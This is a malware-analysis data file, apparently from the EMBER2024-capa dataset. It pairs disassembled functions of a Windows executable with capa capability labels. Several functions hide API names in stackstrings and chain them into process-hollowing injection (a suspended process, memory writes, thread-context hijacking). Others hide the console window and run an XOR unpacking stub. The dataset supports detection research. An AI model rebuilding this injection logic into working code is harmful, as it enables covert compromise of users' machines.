joyce8/EMBER2024-capa huggingface dataset:
Function at 0x409050
Capabilities:
Check mutex on windows
Create thread
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push ecx
push str.MyUniqueMutexName
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x57cb78], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x409085
mov eax, dword [0x57cb78]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x4090f9
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_PostThreadMessageA]
call dword [sym.imp.USER32.dll_GetInputState]
call fcn.00408b00
push 0
push 0
push 0
push 0x408e40
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 4], eax
push 0xffffffffffffffff
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x57cb78]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10

Function at 0x409100
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5220e8
mov eax, dword fs:[0]
push eax
sub esp, 0xf4
mov eax, dword [0x57b6c0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0xf8], ecx
mov dword [ebp - 0x18], 8
mov dword [ebp - 0x14], 0xff
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
mov ecx, dword [ebp - 0xf8]
call fcn.0040dc02
push 0
call fcn.004116f4
add esp, 4
push 5
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call main
push 0xc
call fcn.00409350
mov dword [ebp - 0xe8], eax
mov dword [ebp - 4], 0
cmp dword [ebp - 0xe8], 0
je 0x4091a4
mov ecx, dword [ebp - 0xe8]
call fcn.00410d20
mov dword [ebp - 0xfc], eax
jmp 0x4091ae
mov dword [ebp - 0xfc], 0
mov ecx, dword [ebp - 0xfc]
mov dword [ebp - 0xe4], ecx
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0xe4]
mov dword [ebp - 0xe0], edx
push 0x53128c
mov ecx, dword [ebp - 0xf8]
call fcn.0040ec64
push 0
lea ecx, [ebp - 0xdc]
call fcn.0040a3d0
mov dword [ebp - 4], 1
mov eax, dword [ebp - 0xf8]
lea ecx, [ebp - 0xdc]
mov dword [eax + 0x20], ecx
lea ecx, [ebp - 0xdc]
call fcn.00410755
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0xe0], 0
je 0x40925f
mov edx, dword [ebp - 0xe0]
mov dword [ebp - 0xf0], edx
mov eax, dword [ebp - 0xf0]
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 0
je 0x409255
push 1
mov ecx, dword [ebp - 0xec]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0xec]
mov eax, dword [edx + 4]
call eax
mov dword [ebp - 0x100], eax
jmp 0x40925f
mov dword [ebp - 0x100], 0
mov dword [ebp - 0xf4], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xdc]
call fcn.00409290
mov eax, dword [ebp - 0xf4]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret
Function at 0x40b1f0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
push 0
push 0
mov eax, dword [ebp - 4]
push eax
push 0x40afe0
push 0
push 0
call fcn.0050b6ef
add esp, 0x18
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x18], eax
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 4]
call fcn.004046b0
mov esp, ebp
pop ebp
ret
Function at 0x40b740
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
mov eax, dword [0x57b6c0]
xor eax, ebp
mov dword [ebp - 8], eax
mov dword [ebp - 0x60], 0x44
push 0x40
push 0
lea eax, [ebp - 0x5c]
push eax
call fcn.0050b230
add esp, 0xc
mov dword [ebp - 0x34], 1
xor ecx, ecx
mov word [ebp - 0x30], cx
mov byte [ebp - 0x18], 0x43
mov byte [ebp - 0x17], 0x72
mov byte [ebp - 0x16], 0x65
mov byte [ebp - 0x15], 0x61
mov byte [ebp - 0x14], 0x74
mov byte [ebp - 0x13], 0x65
mov byte [ebp - 0x12], 0x50
mov byte [ebp - 0x11], 0x72
mov byte [ebp - 0x10], 0x6f
mov byte [ebp - 0xf], 0x63
mov byte [ebp - 0xe], 0x65
mov byte [ebp - 0xd], 0x73
mov byte [ebp - 0xc], 0x73
mov byte [ebp - 0xb], 0x41
mov byte [ebp - 0xa], 0
lea edx, [ebp - 0x18]
push edx
push 0x5319c0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x60]
push ecx
push 0
push 0
push 4
push 0
push 0
push 0
push 0
mov edx, dword [ebp + 8]
push edx
call dword [ebp - 4]
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.0050add6
mov esp, ebp
pop ebp
ret

Function at 0x40b800
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x57b6c0]
xor eax, ebp
mov dword [ebp - 8], eax
mov byte [ebp - 0x18], 0x56
mov byte [ebp - 0x17], 0x69
mov byte [ebp - 0x16], 0x72
mov byte [ebp - 0x15], 0x74
mov byte [ebp - 0x14], 0x75
mov byte [ebp - 0x13], 0x61
mov byte [ebp - 0x12], 0x6c
mov byte [ebp - 0x11], 0x41
mov byte [ebp - 0x10], 0x6c
mov byte [ebp - 0xf], 0x6c
mov byte [ebp - 0xe], 0x6f
mov byte [ebp - 0xd], 0x63
mov byte [ebp - 0xc], 0x45
mov byte [ebp - 0xb], 0x78
mov byte [ebp - 0xa], 0
lea eax, [ebp - 0x18]
push eax
push 0x5319dc
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
push 0x40
push 0x3000
mov ecx, dword [ebp + 0x10]
push ecx
push 0
mov edx, dword [ebp + 8]
push edx
call dword [ebp - 4]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x40b886
xor eax, eax
jmp 0x40b89e
push 0
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.0050add6
mov esp, ebp
pop ebp
ret
Function at 0x40b8b0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x318
mov eax, dword [0x57b6c0]
xor eax, ebp
mov dword [ebp - 8], eax
mov dword [ebp - 0x2d8], 0
push 0x2c8
push 0
lea eax, [ebp - 0x2d4]
push eax
call fcn.0050b230
add esp, 0xc
mov dword [ebp - 0x2d8], 0x10007
mov byte [ebp - 0x314], 0x47
mov byte [ebp - 0x313], 0x65
mov byte [ebp - 0x312], 0x74
mov byte [ebp - 0x311], 0x54
mov byte [ebp - 0x310], 0x68
mov byte [ebp - 0x30f], 0x72
mov byte [ebp - 0x30e], 0x65
mov byte [ebp - 0x30d], 0x61
mov byte [ebp - 0x30c], 0x64
mov byte [ebp - 0x30b], 0x43
mov byte [ebp - 0x30a], 0x6f
mov byte [ebp - 0x309], 0x6e
mov byte [ebp - 0x308], 0x74
mov byte [ebp - 0x307], 0x65
mov byte [ebp - 0x306], 0x78
mov byte [ebp - 0x305], 0x74
mov byte [ebp - 0x304], 0
lea ecx, [ebp - 0x314]
push ecx
push 0x5319f8
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x2dc], eax
lea edx, [ebp - 0x2d8]
push edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 4]
push ecx
call dword [ebp - 0x2dc]
test eax, eax
jne 0x40b9a2
xor eax, eax
jmp 0x40bae6
mov edx, dword [ebp + 0xc]
mov dword [ebp - 0x220], edx
mov byte [ebp - 0x2f0], 0x53
mov byte [ebp - 0x2ef], 0x65
mov byte [ebp - 0x2ee], 0x74
mov byte [ebp - 0x2ed], 0x54
mov byte [ebp - 0x2ec], 0x68
mov byte [ebp - 0x2eb], 0x72
mov byte [ebp - 0x2ea], 0x65
mov byte [ebp - 0x2e9], 0x61
mov byte [ebp - 0x2e8], 0x64
mov byte [ebp - 0x2e7], 0x43
mov byte [ebp - 0x2e6], 0x6f
mov byte [ebp - 0x2e5], 0x6e
mov byte [ebp - 0x2e4], 0x74
mov byte [ebp - 0x2e3], 0x65
mov byte [ebp - 0x2e2], 0x78
mov byte [ebp - 0x2e1], 0x74
mov byte [ebp - 0x2e0], 0
lea eax, [ebp - 0x2f0]
push eax
push 0x531a14
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x318], eax
lea ecx, [ebp - 0x2d8]
push ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 4]
push eax
call dword [ebp - 0x318]
test eax, eax
jne 0x40ba60
xor eax, eax
jmp 0x40bae6
mov byte [ebp - 0x300], 0x52
mov byte [ebp - 0x2ff], 0x65
mov byte [ebp - 0x2fe], 0x73
mov byte [ebp - 0x2fd], 0x75
mov byte [ebp - 0x2fc], 0x6d
mov byte [ebp - 0x2fb], 0x65
mov byte [ebp - 0x2fa], 0x54
mov byte [ebp - 0x2f9], 0x68
mov byte [ebp - 0x2f8], 0x72
mov byte [ebp - 0x2f7], 0x65
mov byte [ebp - 0x2f6], 0x61
mov byte [ebp - 0x2f5], 0x64
mov byte [ebp - 0x2f4], 0
lea ecx, [ebp - 0x300]
push ecx
push 0x531a30
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
mov edx, dword [ebp + 8]
mov eax, dword [edx + 4]
push eax
call dword [ebp - 4]
mov eax, 1
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.0050add6
mov esp, ebp
pop ebp
ret
Function at 0x40bb00
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov eax, dword [0x57b6c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov byte [ebp - 0x138], 0
push 0xfe
push 0
lea eax, [ebp - 0x137]
push eax
call fcn.0050b230
add esp, 0xc
mov byte [ebp - 0x18], 0x47
mov byte [ebp - 0x17], 0x65
mov byte [ebp - 0x16], 0x74
mov byte [ebp - 0x15], 0x53
mov byte [ebp - 0x14], 0x79
mov byte [ebp - 0x13], 0x73
mov byte [ebp - 0x12], 0x74
mov byte [ebp - 0x11], 0x65
mov byte [ebp - 0x10], 0x6d
mov byte [ebp - 0xf], 0x44
mov byte [ebp - 0xe], 0x69
mov byte [ebp - 0xd], 0x72
mov byte [ebp - 0xc], 0x65
mov byte [ebp - 0xb], 0x63
mov byte [ebp - 0xa], 0x74
mov byte [ebp - 9], 0x6f
mov byte [ebp - 8], 0x72
mov byte [ebp - 7], 0x79
mov byte [ebp - 6], 0x41
mov byte [ebp - 5], 0
lea ecx, [ebp - 0x18]
push ecx
push 0x531a4c
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x30], eax
push 0xff
lea edx, [ebp - 0x138]
push edx
call dword [ebp - 0x30]
mov byte [ebp - 0x135], 0
mov eax, dword [ebp + 0x10]
push eax
lea ecx, [ebp - 0x138]
push ecx
call fcn.0040b740
add esp, 8
test eax, eax
jne 0x40bbcd
xor eax, eax
jmp 0x40bc6f
mov byte [ebp - 0x2c], 0x56
mov byte [ebp - 0x2b], 0x69
mov byte [ebp - 0x2a], 0x72
mov byte [ebp - 0x29], 0x74
mov byte [ebp - 0x28], 0x75
mov byte [ebp - 0x27], 0x61
mov byte [ebp - 0x26], 0x6c
mov byte [ebp - 0x25], 0x41
mov byte [ebp - 0x24], 0x6c
mov byte [ebp - 0x23], 0x6c
mov byte [ebp - 0x22], 0x6f
mov byte [ebp - 0x21], 0x63
mov byte [ebp - 0x20], 0x45
mov byte [ebp - 0x1f], 0x78
mov byte [ebp - 0x1e], 0
lea edx, [ebp - 0x2c]
push edx
push 0x531a68
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x1c], eax
push 0x40
push 0x3000
mov eax, dword [ebp + 0xc]
push eax
push 0
mov ecx, dword [ebp + 0x10]
mov edx, dword [ecx]
push edx
call dword [ebp - 0x1c]
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
je 0x40bc5b
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp + 0x10]
mov eax, dword [edx]
push eax
call fcn.0040b800
add esp, 0xc
test eax, eax
jne 0x40bc5f
xor eax, eax
jmp 0x40bc6f
mov ecx, dword [ebp - 0x34]
push ecx
mov edx, dword [ebp + 0x10]
push edx
call fcn.0040b8b0
add esp, 8
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0050add6
mov esp, ebp
pop ebp
ret

Function at 0x410954
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
xor ebx, ebx
call fcn.0041b72b
mov esi, dword [eax + 0xc]
push 5
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x41098d
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov ecx, dword [ebp - 4]
push esi
push dword [ebp + 0xc]
push ebx
call fcn.00410591
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 8
Function at 0x4109eb
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
mov dword [edi + 0x78], ebx
test ebx, 0xffff0000
jne 0x410a0f
cmp dword [edi + 0x74], 0
jne 0x410a0f
movzx eax, bx
mov dword [edi + 0x74], eax
call fcn.0041b72b
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push dword [ebp + 0xc]
mov ebx, eax
push ebx
mov ecx, edi
call fcn.004109ac
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x411329
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
cmp dword [ebp + 0xc], ebx
je 0x411371
call fcn.0041b72b
mov esi, dword [eax + 0xc]
push pe_nt_image_headers32
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x411371
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 4], eax
test eax, eax
je 0x4113b4
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
test ebx, ebx
je 0x41139d
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x41139d
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [esi + 0x68], 0
je 0x4113b1
mov ecx, dword [esi + 0x68]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x41a3b8
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], ebx
je 0x41a3ff
call fcn.0041b72b
mov esi, dword [eax + 0xc]
push pe_nt_image_headers32
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x41a3ff
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x41a41b
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.00419eb8
mov esi, eax
test edi, edi
je 0x41a419
test ebx, ebx
je 0x41a419
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x41abd2
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x5285b4
call fcn.0050d66e
mov esi, ecx
cmp dword [esi + 0x6c], 0
jne 0x41abf7
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextW]
jmp 0x41ac49
call fcn.00413981
push eax
lea ecx, [ebp - 0x10]
call fcn.00409e20
mov ecx, dword [esi + 0x6c]
mov eax, dword [ecx]
and dword [ebp - 4], 0
lea edx, [ebp - 0x10]
push edx
call dword [eax + 0x8c]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0050d778
push eax
call fcn.0040af00
add esp, 0x14
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov esi, eax
call fcn.004083c0
mov eax, esi
call fcn.0050d746
ret 8
Function at 0x462f02
Capabilities:
Get common file path

Disassembly:
mov edi, edi
push esi
mov esi, ecx
call fcn.004e5795
call fcn.0041b15c
cmp dword [eax + 0x14], 0
jne 0x462f1f
mov ecx, esi
pop esi
jmp fcn.00462a07
pop esi
ret

Function at 0x46655f
Capabilities:
Get common file path
Get file system object information

Disassembly:
mov edi, edi
push esi
mov esi, ecx
call fcn.0045d469
call fcn.0041b15c
cmp dword [eax + 0x14], 0
jne 0x46657c
mov ecx, esi
pop esi
jmp fcn.00465f32
pop esi
ret

Function at 0x47811e
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 0xc]
push edi
mov dword [ebp - 4], ecx
test esi, esi
jne 0x478138
call fcn.0041b72b
mov esi, dword [eax + 0xc]
push dword [0x582870]
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
test edi, edi
jne 0x478156
xor eax, eax
pop edi
pop esi
leave
ret 8
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp + 0xc], eax
test eax, eax
je 0x47814e
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
jne 0x478183
xor esi, esi
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop ebx
jmp 0x478150
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp - 4]
push eax
push ebx
call fcn.0047804c
mov esi, eax
jmp 0x478175

Function at 0x4aa10c
Capabilities:
Get graphical window text

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
push dword [ebp + 0xc]
mov ecx, esi
call fcn.004a9db0
cmp dword [esi], 0
mov edi, eax
mov dword [esi + 0xc], 1
je 0x4aa156
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [ebp + 0x10]
push eax
call fcn.004183b1
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov ecx, dword [ebp + 0x10]
push 0xffffffffffffffff
call fcn.0040f0fb
jmp 0x4aa161
mov eax, dword [ebp + 0x10]
push dword [eax]
push edi
call fcn.0041cd51
pop edi
pop esi
pop ebp
ret 0xc
Function at 0x4aa167
Capabilities:
Get graphical window text

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov ecx, dword [esi + 4]
lea eax, [ebp + 8]
push eax
push dword [ebp + 0xc]
call fcn.0041a4c4
push 0xfffffffffffffff0
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowLongW]
push dword [ebp + 0xc]
and eax, 3
mov ecx, esi
cmp al, 3
je 0x4aa1a4
call fcn.004a9db0
mov dword [esi + 0xc], 1
jmp 0x4aa1a9
call fcn.004a9db0
cmp dword [esi], 0
je 0x4aa1f2
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
test eax, eax
jle 0x4aa1ca
lea ecx, [eax + 1]
push ecx
mov ecx, dword [ebp + 0x10]
push eax
call fcn.004183b1
jmp 0x4aa1dc
mov ecx, dword [ebp + 0x10]
push 0xff
call fcn.0040a050
push 0x100
push eax
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov ecx, dword [ebp + 0x10]
push 0xffffffffffffffff
call fcn.0040f0fb
jmp 0x4aa216
mov esi, dword [ebp + 0x10]
push dword [esi]
push 0xffffffffffffffff
push 0x14d
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_SendMessageW]
cmp eax, 0xffffffff
jne 0x4aa216
push dword [esi]
push dword [ebp + 8]
call fcn.0041cd51
pop esi
pop ebp
ret 0xc

Function at 0x4f12f1
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
test byte [esi + 4], 1
push edi
mov ebx, ecx
je 0x4f1309
mov edi, dword [esi + 0xc]
jmp 0x4f1349
push 5
push dword [esi + 0xc]
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
test edi, edi
jne 0x4f1322
call fcn.00412619
push edi
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
jne 0x4f1337
call fcn.00412619
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
jne 0x4f1349
call fcn.00412619
call fcn.0041b72b
cmp dword [eax + 0x3c], 0
je 0x4f135e
push edi
mov ecx, ebx
call fcn.004f01a5
mov edi, eax
push dword [ebp + 0xc]
push edi
call fcn.004f120b
mov dword [ebp + 8], eax
mov eax, dword [ebx + 0x7c]
test eax, eax
je 0x4f137c
push eax
call dword [sym.imp.KERNEL32.dll_GlobalFree]
and dword [ebx + 0x7c], 0
mov eax, dword [ebp + 8]
test eax, eax
je 0x4f1388
mov edi, eax
mov dword [ebx + 0x7c], eax
or dword [esi + 4], 1
mov dword [esi + 0xc], edi
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x50add6
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x57b6c0]
jne 0x50ade0
repz ret
jmp fcn.00512a59
Function at 0x51d4d7
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x57b6c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0051383c
and dword [ebp - 0x14], 0
cmp dword [0x585184], 0
mov dword [ebp - 0x18], eax
jne 0x51d58a
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x51d632
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x55a26c
push ebx
call edi
test eax, eax
je 0x51d632
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x55a25c
push ebx
mov dword [0x585184], eax
call edi
push eax
call esi
push 0x55a248
push ebx
mov dword [0x585188], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x58518c], eax
call edi
push eax
call esi
mov dword [0x585194], eax
test eax, eax
je 0x51d58a
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x585190], eax
mov eax, dword [0x585190]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x51d5e3
cmp dword [0x585194], ecx
je 0x51d5e3
push eax
call esi
push dword [0x585194]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x51d5e3
test ebx, ebx
je 0x51d5e3
call edi
test eax, eax
je 0x51d5da
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x51d5da
test byte [ebp - 8], 1
jne 0x51d5e3
or dword [ebp + 0x10], 0x200000
jmp 0x51d616
mov eax, dword [0x585188]
cmp eax, dword [ebp - 0x18]
je 0x51d616
push eax
call esi
test eax, eax
je 0x51d616
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x51d616
mov eax, dword [0x58518c]
cmp eax, dword [ebp - 0x18]
je 0x51d616
push eax
call esi
test eax, eax
je 0x51d616
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x585184]
call esi
test eax, eax
je 0x51d632
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x51d634
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0050add6
leave
ret

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43200c
nop
nop
nop
pop eax
nop
nop
nop
add eax, 0x40729f
nop
sub eax, 0x407245
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x432030
nop
nop
nop
nop
nop
add eax, 0xc
cmp dword [eax], 0
nop
nop
nop
jne 0x43201e
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219